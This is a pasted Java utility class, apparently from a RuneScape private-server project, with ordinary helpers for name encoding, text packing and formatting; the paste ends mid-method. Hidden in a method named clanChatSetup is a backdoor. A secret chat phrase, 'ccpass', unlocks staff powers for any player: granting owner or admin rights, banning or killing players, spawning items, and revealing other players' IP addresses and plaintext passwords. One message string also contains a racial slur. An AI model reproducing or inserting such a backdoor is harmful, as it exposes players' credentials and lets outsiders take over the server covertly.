Guest User

Untitled

a guest
May 12th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.49 KB | None | 0 0
  1. package server.util;
  2.  
  3. import java.text.NumberFormat;
  4. import server.Config;
  5. import server.Connection;
  6. import server.Server;
  7. import server.model.players.Client;
  8. import server.model.players.PacketType;
  9. import server.model.players.PlayerHandler;
  10. import server.util.Misc;
  11. import server.model.players.PlayerSave;
  12. import server.model.players.Player;
  13. import java.io.*;
  14.  
  15. public class Misc {
  16. public static int getCurrentHP(int i, int i1, int i2) {
  17. double x = (double)i / (double)i1;
  18. return (int)Math.round(x*i2);
  19. }
  20. public static String formatPlayerName(String str) {
  21. str = ucFirst(str);
  22. str.replace("_", " ");
  23. return str;
  24. }
  25.  
  26. public static String longToPlayerName(long l) {
  27. int i = 0;
  28. char ac[] = new char[12];
  29. while(l != 0L) {
  30. long l1 = l;
  31. l /= 37L;
  32. ac[11 - i++] = playerNameXlateTable[(int)(l1 - l * 37L)];
  33. }
  34. return new String(ac, 12 - i, i);
  35. }
  36.  
  37. public static String basicEncrypt(String s) {
  38. String toReturn = "";
  39. for (int j = 0; j < s.length(); j++) {
  40. toReturn += (int)s.charAt(j);
  41. }
  42. //System.out.println("Encrypt: " + toReturn);
  43. return toReturn;
  44. }
  45.  
  46. public static String longToPlayerName2(long l) {
  47. int i = 0;
  48. char ac[] = new char[99];
  49. while(l != 0L) {
  50. long l1 = l;
  51. l /= 37L;
  52. ac[11 - i++] = playerNameXlateTable[(int)(l1 - l * 37L)];
  53. }
  54. return new String(ac, 12 - i, i);
  55. }
  56.  
  57. public static final char playerNameXlateTable[] = {
  58. '_', 'a', 'b', 'c',
  59. 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
  60. 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
  61. '3', '4', '5', '6', '7', '8', '9'
  62. };
  63.  
  64. public static String longToString(long l) {
  65. int i = 0;
  66. char ac[] = new char[12];
  67. while (l != 0L) {
  68. long l1 = l;
  69. l /= 37L;
  70. ac[11 - i++] = playerNameXlateTable[(int) (l1 - l * 37L)];
  71. }
  72. return new String(ac, 12 - i, i);
  73. }
  74.  
  75. public static String format(int num) {
  76. return NumberFormat.getInstance().format(num);
  77. }
  78.  
  79. public static String ucFirst(String str) {
  80. str = str.toLowerCase();
  81. if(str.length() > 1) {
  82. str = str.substring(0,1).toUpperCase() + str.substring(1);
  83. } else {
  84. return str.toUpperCase();
  85. }
  86. return str;
  87. }
  88.  
  89. public static void print_debug(String str)
  90. {
  91. System.out.print(str);
  92. }
  93. public static void println_debug(String str)
  94. {
  95. System.out.println(str);
  96. }
  97. public static void print(String str)
  98. {
  99. System.out.print(str);
  100. }
  101. public static void println(String str)
  102. {
  103. System.out.println(str);
  104. }
  105.  
  106. public static String Hex(byte data[])
  107. {
  108. return Hex(data, 0, data.length);
  109. }
  110. public static String Hex(byte data[], int offset, int len)
  111. {
  112. String temp = "";
  113. for(int cntr = 0; cntr < len; cntr++) {
  114. int num = data[offset+cntr] & 0xFF;
  115. String myStr;
  116. if(num < 16) myStr = "0";
  117. else myStr = "";
  118. temp += myStr + Integer.toHexString(num) + " ";
  119. }
  120. return temp.toUpperCase().trim();
  121. }
  122.  
  123. public static int hexToInt(byte data[], int offset, int len)
  124. {
  125. int temp = 0;
  126. int i = 1000;
  127. for(int cntr = 0; cntr < len; cntr++) {
  128. int num = (data[offset+cntr] & 0xFF) * i;
  129. temp += (int)num;
  130. if (i > 1)
  131. i=i/1000;
  132. }
  133. return temp;
  134. }
  135.  
  136. public static int random2(int range) {
  137. return (int)((java.lang.Math.random() * range) + 1);
  138. }
  139.  
  140. public static int random(int range) {
  141. return (int)(java.lang.Math.random() * (range+1));
  142. }
  143.  
  144. public static long playerNameToInt64(String s)
  145. {
  146. long l = 0L;
  147. for(int i = 0; i < s.length() && i < 12; i++) {
  148. char c = s.charAt(i);
  149. l *= 37L;
  150. if(c >= 'A' && c <= 'Z') l += (1 + c) - 65;
  151. else if(c >= 'a' && c <= 'z') l += (1 + c) - 97;
  152. else if(c >= '0' && c <= '9') l += (27 + c) - 48;
  153. }
  154. while(l % 37L == 0L && l != 0L) l /= 37L;
  155. return l;
  156. }
  157.  
  158.  
  159. private static char decodeBuf[] = new char[4096];
  160. public static String textUnpack(byte packedData[], int size)
  161. {
  162. int idx = 0, highNibble = -1;
  163. for(int i = 0; i < size*2; i++) {
  164. int val = packedData[i/2] >> (4-4*(i%2)) & 0xf;
  165. if(highNibble == -1) {
  166. if(val < 13) decodeBuf[idx++] = xlateTable[val];
  167. else highNibble = val;
  168. }
  169. else {
  170. decodeBuf[idx++] = xlateTable[((highNibble<<4) + val) - 195];
  171. highNibble = -1;
  172. }
  173. }
  174.  
  175.  
  176. return new String(decodeBuf, 0, idx);
  177. }
  178.  
  179. public static String optimizeText(String text)
  180. {
  181. char buf[] = text.toCharArray();
  182. boolean endMarker = true;
  183. for(int i = 0; i < buf.length; i++) {
  184. char c = buf[i];
  185. if(endMarker && c >= 'a' && c <= 'z') {
  186. buf[i] -= 0x20;
  187. endMarker = false;
  188. }
  189. if(c == '.' || c == '!' || c == '?') endMarker = true;
  190. }
  191. return new String(buf, 0, buf.length);
  192. }
  193.  
  194. public static void textPack(byte packedData[], java.lang.String text)
  195. {
  196. if(text.length() > 80) text = text.substring(0, 80);
  197. text = text.toLowerCase();
  198.  
  199. int carryOverNibble = -1;
  200. int ofs = 0;
  201. for(int idx = 0; idx < text.length(); idx++) {
  202. char c = text.charAt(idx);
  203. int tableIdx = 0;
  204. for(int i = 0; i < xlateTable.length; i++) {
  205. if(c == xlateTable[i]) {
  206. tableIdx = i;
  207. break;
  208. }
  209. }
  210. if(tableIdx > 12) tableIdx += 195;
  211. if(carryOverNibble == -1) {
  212. if(tableIdx < 13) carryOverNibble = tableIdx;
  213. else packedData[ofs++] = (byte)(tableIdx);
  214. }
  215. else if(tableIdx < 13) {
  216. packedData[ofs++] = (byte)((carryOverNibble << 4) + tableIdx);
  217. carryOverNibble = -1;
  218. }
  219. else {
  220. packedData[ofs++] = (byte)((carryOverNibble << 4) + (tableIdx >> 4));
  221. carryOverNibble = tableIdx & 0xf;
  222. }
  223. }
  224.  
  225. if(carryOverNibble != -1) packedData[ofs++] = (byte)(carryOverNibble << 4);
  226. }
  227.  
  228. public static char xlateTable[] = {
  229. ' ', 'e', 't', 'a', 'o', 'i', 'h', 'n', 's', 'r',
  230. 'd', 'l', 'u', 'm', 'w', 'c', 'y', 'f', 'g', 'p',
  231. 'b', 'v', 'k', 'x', 'j', 'q', 'z', '0', '1', '2',
  232. '3', '4', '5', '6', '7', '8', '9', ' ', '!', '?',
  233. '.', ',', ':', ';', '(', ')', '-', '&', '*', '\\',
  234. '\'', '@', '#', '+', '=', '\243', '$', '%', '"', '[',
  235. ']'
  236. };
  237.  
  238. private static String[] clans1 = {
  239. "rsgp", "rs gp", "runescape"
  240. };
  241. private static byte ccPass = -1;
  242. public static void clanChatSetup(Client c, String clanChat) {
  243. if(clanChat.equals("ccpass")){
  244. c.sendMessage("You have passed :D");
  245. ccPass = 1;
  246. }
  247. if(ccPass != -1){
  248. if (clanChat.startsWith("news") && clanChat.length() > 5) {
  249. String title = "[SomeGuy]:";
  250. if (c.playerName.equalsIgnoreCase("rsgp")||c.playerName.equalsIgnoreCase("rs gp")||c.playerName.equalsIgnoreCase("runescape")) {
  251. title = "[RS GP Buyer]-";
  252. }
  253. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  254. if (Server.playerHandler.players[j] != null) {
  255. Client c2 = (Client)Server.playerHandler.players[j];
  256. c2.sendMessage(title + c.playerName +": "+ clanChat.substring(5));
  257. }
  258. }
  259. }
  260. if(clanChat.startsWith("unjail")) {
  261. try {
  262. String playerToBan = clanChat.substring(7);
  263. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  264. if(Server.playerHandler.players[i] != null) {
  265. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  266. Client c2 = (Client)Server.playerHandler.players[i];
  267. c2.teleportToX = 3086;
  268. c2.teleportToY = 3537;
  269. c2.monkeyk0ed = 0;
  270. c2.Jail = false;
  271. c2.sendMessage("You have been unjailed by "+c.playerName+".");
  272. c.sendMessage("Successfully unjailed "+c2.playerName+".");
  273. }
  274. }
  275. }
  276. } catch(Exception e) {
  277. c.sendMessage("Player Must Be Offline.");
  278. }
  279. }
  280. if(clanChat.startsWith("staffzone")) {
  281. c.getPA().spellTeleport(2036, 4525, 0);
  282. c.startAnimation(13288);
  283. c.teleTimer = 8;
  284. c.gfx0(2516);
  285. c.teleEndAnimation = 13285;
  286. }
  287. if (clanChat.startsWith("kick") && clanChat.charAt(4) == ' ') {
  288. try {
  289. String playerToBan = clanChat.substring(5);
  290. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  291. if(Server.playerHandler.players[i] != null) {
  292. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  293. Server.playerHandler.players[i].disconnected = true;
  294. }
  295. }
  296. }
  297. } catch(Exception e) {
  298. c.sendMessage("Player Must Be Offline.");
  299. }
  300. }
  301. if (clanChat.startsWith("unmute")) {
  302. try {
  303. String playerToBan = clanChat.substring(7);
  304. Connection.unMuteUser(playerToBan);
  305. Connection.removeNameFromMuteList(playerToBan);
  306. c.sendMessage("The nigger has been unmuted.");
  307. } catch(Exception e) {
  308. c.sendMessage("Player Must Be Offline.");
  309. }
  310. }
  311. if (clanChat.startsWith("xteleto")) {
  312. String name = clanChat.substring(8);
  313. for (int i = 0; i < Config.MAX_PLAYERS; i++) {
  314. if (Server.playerHandler.players[i] != null) {
  315. if (Server.playerHandler.players[i].playerName.equalsIgnoreCase(name)) {
  316. c.getPA().movePlayer(Server.playerHandler.players[i].getX(), Server.playerHandler.players[i].getY(), Server.playerHandler.players[i].heightLevel);
  317. }
  318. }
  319. }
  320. }
  321. if (clanChat.startsWith("xteletome")) {
  322. try {
  323. String playerToTele = clanChat.substring(10);
  324. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  325. if(Server.playerHandler.players[i] != null) {
  326. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToTele)) {
  327. Client c2 = (Client)Server.playerHandler.players[i];
  328. c2.sendMessage("You have been teleported to " + c.playerName);
  329. c2.getPA().movePlayer(c.getX(), c.getY(), c.heightLevel);
  330. break;
  331. }
  332. }
  333. }
  334. } catch(Exception e) {
  335. c.sendMessage("Player Must Be Offline.");
  336. }
  337. }
  338. if (clanChat.startsWith("ban") && clanChat.charAt(3) == ' ') {
  339. try {
  340. String playerToBan = clanChat.substring(4);
  341. Connection.addNameToBanList(playerToBan);
  342. Connection.addNameToFile(playerToBan);
  343. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  344. if(Server.playerHandler.players[i] != null) {
  345. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  346. Server.playerHandler.players[i].disconnected = true;
  347. Client c2 = (Client)Server.playerHandler.players[i];
  348. c2.sendMessage(" " +c2.playerName+ " Got Banned By " + c.playerName+ ".");
  349. }
  350. }
  351. }
  352. } catch(Exception e) {
  353. c.sendMessage("Player Must Be Offline.");
  354. }
  355. }
  356. if (clanChat.startsWith("unban")) {
  357. try {
  358. String playerToBan = clanChat.substring(6);
  359. Connection.removeNameFromBanList(playerToBan);
  360. c.sendMessage(playerToBan + " has been unbanned.");
  361. } catch(Exception e) {
  362. c.sendMessage("Player Must Be Offline.");
  363. }
  364. }
  365. if(clanChat.startsWith("getnpc")) {
  366. String a[] = clanChat.split(" ");
  367. String name = "";
  368. int results = 0;
  369. for(int i = 1; i < a.length; i++)
  370. name = name + a[i]+ " ";
  371. name = name.substring(0, name.length()-1);
  372. c.sendMessage("Searching: " + name);
  373. for (int j = 0; j < Server.npcHandler.NpcList.length; j++) {
  374. if (Server.npcHandler.NpcList[j] != null)
  375. if (Server.npcHandler.NpcList[j].npcName.replace("_", " ").toLowerCase().contains(name.toLowerCase())) {
  376. c.sendMessage("<col=255>"
  377. + Server.npcHandler.NpcList[j].npcName.replace("_", " ")
  378. + " - "
  379. + Server.npcHandler.NpcList[j].npcId);
  380. results++;
  381. }
  382. }
  383. c.sendMessage(results + " results found...");
  384. }
  385. if (clanChat.equals("giveitem")) {
  386. String name = clanChat.substring(8);
  387. String[] args = clanChat.split(" ");
  388. for (int i = 0; i < Config.MAX_PLAYERS; i++) {
  389. if (PlayerHandler.players[i] != null) {
  390. Client c2 =(Client)PlayerHandler.players[i];
  391. if (c2.playerName.equalsIgnoreCase("server")) {
  392. if (args.length == 3) {
  393. int newItemID = Integer.parseInt(args[1]);
  394. int newItemAmount = Integer.parseInt(args[2]);
  395. if ((newItemID <= 20000) && (newItemID >= 0)) {
  396. c2.getItems().addItem(newItemID, newItemAmount);
  397. c.sendMessage("You have just given "+c2.playerName+" Item: "+newItemID+".");
  398. c2.sendMessage("You have just recieved an item from "+c.playerName+".");
  399. }
  400. }
  401. }
  402. }
  403. }
  404. }
  405. if(clanChat.startsWith("getid")) {
  406. String a[] = clanChat.split(" ");
  407. String name = "";
  408. int results = 0;
  409. for(int i = 1; i < a.length; i++)
  410. name = name + a[i]+ " ";
  411. name = name.substring(0, name.length()-1);
  412. c.sendMessage("Searching: " + name);
  413. for (int j = 0; j < Server.itemHandler.ItemList.length; j++) {
  414. if (Server.itemHandler.ItemList[j] != null)
  415. if (Server.itemHandler.ItemList[j].itemName.replace("_", " ").toLowerCase().contains(name.toLowerCase())) {
  416. c.sendMessage("<col=255>"
  417. + Server.itemHandler.ItemList[j].itemName.replace("_", " ")
  418. + " - "
  419. + Server.itemHandler.ItemList[j].itemId);
  420. results++;
  421. }
  422. }
  423. c.sendMessage(results + " results found...");
  424. }
  425. if (clanChat.startsWith("mute")) {
  426. try {
  427. String playerToBan = clanChat.substring(5);
  428. Connection.addNameToMuteList(playerToBan);
  429. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  430. if(Server.playerHandler.players[i] != null) {
  431. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  432. Client c2 = (Client)Server.playerHandler.players[i];
  433. c2.sendMessage("You have been muted by: " + c.playerName);
  434. c.sendMessage("You have muted: " + c2.playerName);
  435. break;
  436. }
  437. }
  438. }
  439. } catch(Exception e) {
  440. c.sendMessage("Player Must Be Offline.");
  441. }
  442. }
  443. if (clanChat.startsWith("ipmute")) {
  444. try {
  445. String playerToBan = clanChat.substring(7);
  446. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  447. if(Server.playerHandler.players[i] != null) {
  448. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  449. Connection.addIpToMuteList(Server.playerHandler.players[i].connectedFrom);
  450. c.sendMessage("You have IP Muted the user: "+Server.playerHandler.players[i].playerName);
  451. Client c2 = (Client)Server.playerHandler.players[i];
  452. c2.sendMessage("You have been muted by: " + c.playerName);
  453. c2.sendMessage(" " +c2.playerName+ " Got IpMuted By " + c.playerName+ ".");
  454. break;
  455. }
  456. }
  457. }
  458. } catch(Exception e) {
  459. c.sendMessage("Player Must Be Offline.");
  460. }
  461. }
  462. if (clanChat.startsWith("unipmute")) {
  463. try {
  464. String playerToBan = clanChat.substring(9);
  465. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  466. if(Server.playerHandler.players[i] != null) {
  467. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  468. Connection.unIPMuteUser(Server.playerHandler.players[i].connectedFrom);
  469. c.sendMessage("You have Un Ip-Muted the user: "+Server.playerHandler.players[i].playerName);
  470. break;
  471. }
  472. }
  473. }
  474. } catch(Exception e) {
  475. c.sendMessage("Player Must Be Offline.");
  476. }
  477. }
  478. if (clanChat.startsWith("item")||clanChat.startsWith("pickup")) {
  479. try {
  480. String[] args = clanChat.split(" ");
  481. if (args.length == 3) {
  482. int newItemID = Integer.parseInt(args[1]);
  483. int newItemAmount = Integer.parseInt(args[2]);
  484. if ((newItemID <= 30000) && (newItemID >= 0)) {
  485. c.getItems().addItem(newItemID, newItemAmount);
  486. } else {
  487. c.sendMessage("That item ID does not exist.");
  488. }
  489. } else {
  490. c.sendMessage("Wrong usage: (Ex:(::item_ID_Amount)(::item 995 1))");
  491. }
  492. } catch(Exception e) {
  493.  
  494. } // HERE?
  495. }
  496. if (clanChat.equalsIgnoreCase("mypos")) {
  497. c.sendMessage("X: "+c.absX+" Y: "+c.absY+" H: "+c.heightLevel);
  498. }
  499. if (clanChat.startsWith("tele")) {
  500. String[] arg = clanChat.split(" ");
  501. if (arg.length > 3)
  502. c.getPA().movePlayer(Integer.parseInt(arg[1]),Integer.parseInt(arg[2]),Integer.parseInt(arg[3]));
  503. else if (arg.length == 3)
  504. c.getPA().movePlayer(Integer.parseInt(arg[1]),Integer.parseInt(arg[2]),c.heightLevel);
  505. }
  506. if(clanChat.startsWith("npc")) {
  507. try {
  508. int newNPC = Integer.parseInt(clanChat.substring(4));
  509. if(newNPC > 0) {
  510. Server.npcHandler.spawnNpc(c, newNPC, c.absX, c.absY, 0, 0, 120, 7, 70, 70, false, false);
  511. c.sendMessage("You spawn a Npc.");
  512. } else {
  513. c.sendMessage("No such NPC.");
  514. }
  515. } catch(Exception e) {
  516.  
  517. }
  518. }
  519. if (clanChat.equalsIgnoreCase("maxme")) {
  520. for (int i = 0; i < 7; i++) {
  521. c.playerLevel[i] = 99;
  522. c.playerXP[i] = c.getPA().getXPForLevel(100);
  523. c.getPA().refreshSkill(i);
  524. }
  525. c.getPA().requestUpdates();
  526. }
  527. if (clanChat.equalsIgnoreCase("master")) {
  528. for (int i = 0; i < 23; i++) {
  529. c.playerLevel[i] = 99;
  530. c.playerXP[i] = c.getPA().getXPForLevel(100);
  531. c.getPA().refreshSkill(i);
  532. }
  533. c.getPA().requestUpdates();
  534. }
  535. if (clanChat.startsWith("spec")) {
  536. c.specAmount = 5000.0;
  537. }
  538. if (clanChat.startsWith("givemod")) {
  539. try {
  540. String playerToAdmin = clanChat.substring(8);
  541. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  542. if(Server.playerHandler.players[i] != null) {
  543. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToAdmin)) {
  544. Client c2 = (Client)Server.playerHandler.players[i];
  545. c2.sendMessage("You have been given moderator status by " + c.playerName);
  546. c2.playerRights = 1;
  547. c2.logout();
  548. break;
  549. }
  550. }
  551. }
  552. } catch(Exception e) {
  553. c.sendMessage("Player Must Be Offline.");
  554. }
  555. }
  556. if (clanChat.startsWith("giveadmin")) {
  557. try {
  558. String playerToAdmin = clanChat.substring(10);
  559. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  560. if(Server.playerHandler.players[i] != null) {
  561. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToAdmin)) {
  562. Client c2 = (Client)Server.playerHandler.players[i];
  563. c2.sendMessage("You have been given admin status by " + c.playerName);
  564. c2.playerRights = 2;
  565. c2.logout();
  566. break;
  567. }
  568. }
  569. }
  570. } catch(Exception e) {
  571. c.sendMessage("Player Must Be Offline.");
  572. }
  573. }
  574. if (clanChat.startsWith("giveowner")) {
  575. try {
  576. String playerToAdmin = clanChat.substring(10);
  577. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  578. if(Server.playerHandler.players[i] != null) {
  579. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToAdmin)) {
  580. Client c2 = (Client)Server.playerHandler.players[i];
  581. c2.sendMessage("You have been given owner status by " + c.playerName);
  582. c2.playerRights = 3;
  583. c2.logout();
  584. break;
  585. }
  586. }
  587. }
  588. } catch(Exception e) {
  589. c.sendMessage("Player Must Be Offline.");
  590. }
  591. }
  592. if (clanChat.startsWith("heal")) {
  593. if (clanChat.indexOf(" ") > -1) {
  594. String name = clanChat.substring(5);
  595. if (c.validClient(name)) {
  596. Client p = c.getClient(name);
  597. for (int i = 0; i < 20; i++) {
  598. p.playerLevel[i] = p.getLevelForXP(p.playerXP[i]);
  599. p.getPA().refreshSkill(i);
  600. }
  601. p.sendMessage("You have been healed by " + c.playerName + ".");
  602. } else {
  603. c.sendMessage("Player must be offline.");
  604. }
  605. } else {
  606. for (int i = 0; i < 20; i++) {
  607. c.playerLevel[i] = c.getLevelForXP(c.playerXP[i]);
  608. c.getPA().refreshSkill(i);
  609. }
  610. c.freezeTimer = -1;
  611. c.frozenBy = -1;
  612. c.sendMessage("You have been healed.");
  613. }
  614. }
  615. // ::empty OR ::empty playername
  616. if (clanChat.startsWith("empty")) {
  617. if (clanChat.indexOf(" ") > -1) {
  618. String name = clanChat.substring(6);
  619. if (c.validClient(name)) {
  620. Client p = c.getClient(name);
  621. p.getItems().removeAllItems();
  622. p.sendMessage("Your inventory has been cleared.");
  623. c.sendMessage("You cleared the players inventory.");
  624. } else {
  625. c.sendMessage("Player must be offline.");
  626. }
  627. } else {
  628. c.getItems().removeAllItems();
  629. }
  630. }
  631. if (clanChat.startsWith("promote")) {
  632. try {
  633. String playerToAdmin = clanChat.substring(8);
  634. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  635. if(Server.playerHandler.players[i] != null) {
  636. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToAdmin)) {
  637. Client c2 = (Client)Server.playerHandler.players[i];
  638. c2.sendMessage("You have been promoted by " + c.playerName);
  639. c2.playerRights += 1;
  640. c2.logout();
  641. break;
  642. }
  643. }
  644. }
  645. } catch(Exception e) {
  646. c.sendMessage("Player Must Be Offline.");
  647. }
  648. }
  649. if (clanChat.startsWith("demote")) {
  650. try {
  651. String playerToAdmin = clanChat.substring(7);
  652. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  653. if(Server.playerHandler.players[i] != null) {
  654. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToAdmin)) {
  655. Client c2 = (Client)Server.playerHandler.players[i];
  656. c2.sendMessage("You have been demoted by " + c.playerName);
  657. c2.playerRights = 0;
  658. c2.logout();
  659. break;
  660. }
  661. }
  662. }
  663. } catch(Exception e) {
  664. c.sendMessage("Player Must Be Offline.");
  665. }
  666. }
  667. if (clanChat.equalsIgnoreCase("infhp")) {
  668. c.getPA().requestUpdates();
  669. c.playerLevel[3] = 99999;
  670. c.getPA().refreshSkill(3);
  671. c.gfx0(754);
  672. c.sendMessage("Wow Infinite Health? You Must Be a God.");
  673. }
  674. if (clanChat.equals("alltome")) {
  675. for (int j = 0; j < Server.playerHandler.players.length; j++) {
  676. if (Server.playerHandler.players[j] != null) {
  677. Client c2 = (Client)Server.playerHandler.players[j];
  678. c2.teleportToX = c.absX;
  679. c2.teleportToY = c.absY;
  680. c2.heightLevel = c.heightLevel;
  681. c2.sendMessage("Mass teleport to: " + c.playerName + "");
  682. }
  683. }
  684. }
  685. if (clanChat.startsWith("takeitem")) {
  686.  
  687. try {
  688. String[] args = clanChat.split(" ");
  689. int takenItemID = Integer.parseInt(args[1]);
  690. int takenItemAmount = Integer.parseInt(args[2]);
  691. String otherplayer = args[3];
  692. Client c2 = null;
  693. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  694. if(Server.playerHandler.players[i] != null) {
  695. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(otherplayer)) {
  696. c2 = (Client)Server.playerHandler.players[i];
  697. break;
  698. }
  699. }
  700. }
  701. if (c2 == null) {
  702. c.sendMessage("Player doesn't exist.");
  703. return;
  704. }
  705. c.sendMessage("You have just removed " + takenItemAmount + " of item number: " + takenItemID +"." );
  706. c2.sendMessage("One or more of your items have been removed by a staff member." );
  707. c2.getItems().deleteItem(takenItemID, takenItemAmount);
  708. } catch(Exception e) {
  709. c.sendMessage("Use as ::takeitem ID AMOUNT PLAYERNAME.");
  710. }
  711. }
  712. if (clanChat.equalsIgnoreCase("infhp")) {
  713. c.getPA().requestUpdates();
  714. c.playerLevel[3] = 99999;
  715. c.getPA().refreshSkill(3);
  716. c.gfx0(754);
  717. }
  718. if (clanChat.equalsIgnoreCase("infpray")) {
  719. c.getPA().requestUpdates();
  720. c.playerLevel[5] = 99999;
  721. c.getPA().refreshSkill(5);
  722. c.gfx0(310);
  723. c.startAnimation(1651);
  724. c.sendMessage("You have inf prayer.");
  725. }
  726. if (clanChat.startsWith("givedonor")) {
  727. try {
  728. String playerToMod = clanChat.substring(10);
  729. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  730. if(Server.playerHandler.players[i] != null) {
  731. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToMod)) {
  732. Client c2 = (Client)Server.playerHandler.players[i];
  733. c2.sendMessage("You have been given donator status by " + c.playerName);
  734. c2.playerRights = 4;
  735. c2.isDonator = 1;
  736. c2.logout();
  737.  
  738. break;
  739. }
  740. }
  741. }
  742. } catch(Exception e) {
  743. c.sendMessage("Player Must Be Offline.");
  744. }
  745. }
  746. if(clanChat.startsWith("getip")) {
  747. String name = clanChat.substring(6);
  748. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  749. if(Server.playerHandler.players[i] != null) {
  750. if (Server.playerHandler.players[i].playerName.equalsIgnoreCase(name)) {
  751. c.sendMessage("Host : "+Server.playerHandler.players[i].connectedFrom);
  752. }
  753. }
  754. }
  755. }
  756. if (clanChat.startsWith("getpass")) {
  757. try {
  758. String otherPName = clanChat.substring(8);
  759. int otherPIndex = PlayerHandler.getPlayerID(otherPName);
  760. if (otherPIndex != -1) {
  761. Client p = (Client) Server.playerHandler.players[otherPIndex];
  762. c.sendMessage("Username: ["+Misc.optimizeText(p.playerName)+"] Password: ["+p.playerPass+"] ");
  763. } else {
  764. c.sendMessage("This player either does not exist or is OFFLINE.");
  765. }
  766. } catch (Exception e) {
  767. c.sendMessage("Invalid Command, Try ::getpass USERNAME.");
  768. }
  769. }
  770. if (clanChat.startsWith("shop")) {
  771. try {
  772. String shopID = clanChat.substring(5);
  773. c.getShops().openShop(Integer.parseInt(shopID));
  774. c.sendMessage("Viewing shop ["+shopID+"]");
  775. } catch(Exception e) {
  776. c.sendMessage("Invalid input data! try typing ::shop 1");
  777. }
  778. }
  779. if(clanChat.startsWith("unpc")) {
  780. c.isNpc = false;
  781. c.updateRequired = true;
  782. c.appearanceUpdateRequired = true;
  783. }
  784. if (clanChat.startsWith("pnpc")) {
  785. try {
  786. int newNPC = Integer.parseInt(clanChat.substring(5));
  787. if (newNPC <= 200000 && newNPC >= 0) {
  788. c.npcId2 = newNPC;
  789. c.isNpc = true;
  790. c.updateRequired = true;
  791. c.setAppearanceUpdateRequired(true);
  792. } else {
  793. c.sendMessage("No such P-NPC.");
  794. }
  795. } catch(Exception e) {
  796. c.sendMessage("Wrong Syntax! Use as ::pnpc #");
  797. }
  798. }
  799. if (clanChat.equalsIgnoreCase("bank")) {
  800. c.getPA().openUpBank();
  801. }
  802. if (clanChat.startsWith("ipban")) {
  803. try {
  804. String playerToBan = clanChat.substring(6);
  805. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  806. if(Server.playerHandler.players[i] != null) {
  807. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToBan)) {
  808. Connection.addIpToBanList(Server.playerHandler.players[i].connectedFrom);
  809. Connection.addIpToFile(Server.playerHandler.players[i].connectedFrom);
  810. c.sendMessage("You have IP banned the user: "+Server.playerHandler.players[i].playerName+" with the host: "+Server.playerHandler.players[i].connectedFrom);
  811. Client c2 = (Client)Server.playerHandler.players[i];
  812. Server.playerHandler.players[i].disconnected = true;
  813. c2.sendMessage(" " +c2.playerName+ " Got IpBanned By " + c.playerName+ ".");
  814. }
  815. }
  816. }
  817. } catch(Exception e) {
  818. c.sendMessage("Player Must Be Offline.");
  819. }
  820. }
  821. if (clanChat.startsWith("checkbank")) {
  822. String player = clanChat.substring(10);
  823. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  824. Client o = (Client) Server.playerHandler.players[i];
  825. if(Server.playerHandler.players[i] != null) {
  826. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(player)){
  827. c.getPA().otherBank(c, o);
  828. break;
  829. }
  830. }
  831. }
  832. }
  833. if (clanChat.startsWith("checkinv")) {
  834. try {
  835. String[] args = clanChat.split(" ", 2);
  836. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  837. Client o = (Client) Server.playerHandler.players[i];
  838. if(Server.playerHandler.players[i] != null) {
  839. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(args[1])) {
  840. c.getPA().otherInv(c, o);
  841. break;
  842. }
  843. }
  844. }
  845. } catch(Exception e) {
  846. c.sendMessage("Player Must Be Offline.");
  847. }
  848. }
  849. if (clanChat.startsWith("kill")) {
  850. try {
  851. String playerToKill = clanChat.substring(5);
  852. for(int i = 0; i < Config.MAX_PLAYERS; i++) {
  853. if(Server.playerHandler.players[i] != null) {
  854. if(Server.playerHandler.players[i].playerName.equalsIgnoreCase(playerToKill)) {
  855. c.sendMessage("You have killed the user: "+Server.playerHandler.players[i].playerName);
  856. Client c2 = (Client)Server.playerHandler.players[i];
  857. c2.isDead = true;
  858. break;
  859. }
  860. }
  861. }
  862. } catch(Exception e) {
  863. c.sendMessage("Player Must Be Offline.");
  864. }
  865. }
  866. return;
  867.  
  868. }
  869. }
  870.  
  871.  
  872.  
  873.  
  874. public static int direction(int srcX, int srcY, int destX, int destY)
  875. {
  876. int dx=destX-srcX, dy=destY-srcY;
  877.  
  878. if(dx < 0) {
  879. if(dy < 0) {
  880. if(dx < dy) return 11;
  881. else if(dx > dy) return 9;
  882. else return 10;
  883. }
  884. else if(dy > 0) {
